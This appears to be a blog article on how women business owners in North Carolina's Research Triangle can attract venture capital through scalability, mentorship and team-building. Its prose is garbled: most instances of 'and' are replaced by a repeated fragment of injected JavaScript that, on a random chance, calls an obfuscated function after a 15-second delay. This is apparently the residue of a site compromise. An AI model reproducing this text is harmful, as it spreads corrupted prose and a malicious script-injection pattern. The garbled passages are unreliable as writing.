3 Things NC Women Business Owners Can Do to Attract Money

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>>5430544823_45fc489183_bNorth Carolina, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and especially the Research Triangle, is buzzing with talk of entrepreneurship, innovation, venture capital, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and start-ups. Just last week, venture capitalist Jim Goetz was at the >>Council for Entrepreneurial Development Tech Venture Conference saying that >>RTP is second only to Silicon Valley as a hub for tech innovation. This year alone, Triangle based companies in the areas of life sciences, tech, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and advanced manufacturing have >>raised nearly $427 million. It’s clear that something is happening in North Carolina, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and whatever it is standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands to make a lot of people a lot of money.

But where does this leave women? Are we getting a piece of the pie? Yes, but it’s a very small piece – more of a sliver, if you ask me. >>According to SOAR Triangle, an organization dedicated to decreasing the funding gap for women entrepreneurs, women-led startups currently garner only 5% of venture capital. The numbers are disheartening.

In >>survey after survey, we see that women are underrepresented in technology companies, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and if women aren’t in tech to begin with, then it is unlikely we will be leading companies that get millions of dollars worth of investment.

So what can women business owners do to attract this money? First of all, position your company as >>scalable. This means being able to significantly increase revenue without incurring an equivalent increase in costs. Most of the time, we hear about scalable businesses in the areas of tech andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and science. However, that isn’t always the case. MATI energy, a Durham-based company that produces carbonated energy drinks, is a great example that scalable doesn’t always mean tech. MATI is led by 25-year old Tatiana Birgisson andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and >>recently won Google demo-day.

Secondly, pursue mentorship. In order to attract funding, you need to get your ideas in front of people with connections to capital. Applying for mentor programs through organizations like SOAR (they offer intensive mentoring for up to 8 North Carolina women-led companies each year) or >>SCORE (free business mentoring for entrepreneurs), andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and seeking out networking opportunities at places like the >>American Underground or CED events can put you in contact with leading entrepreneurs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and investors. When you have a chance to talk about your dreams, don’t be shy about your idea. Be prepared with a short description, called an >>elevator pitch, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and let your best self shine.

Third, recognize your strengths andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and weakness andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and start forming a team. The truth is, you can’t do it on your own. If you are at a point where your idea is developing into a business, it is important to assess what skills andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and experience you bring to the table andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and actively seek out co-founders with complementary strengths. Investors don’t want a founder who thinks she can do it all, only to crash andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and burn. Plus, the road to entrepreneurship can be lonely – you need a good team around you to keep your spirits up andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and your eye focused on the future.

Luckily, we are at a point where the conversation about women in the workforce, including as entrepreneurs, is becoming mainstream. Both >>Innovate Raleigh andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and American Underground have declared diversity a top priority. Events, such as >>Triangle Startup Weekend Women, take place with the purpose of bringing women together to not just talk about the lack of women in leadership positions, but to start taking action by forming teams of women who will start andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lead companies. Sure, 5% of venture capital is a difficult number to face, but it’s a good time to be a female entrepreneur, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it will only get better from here.




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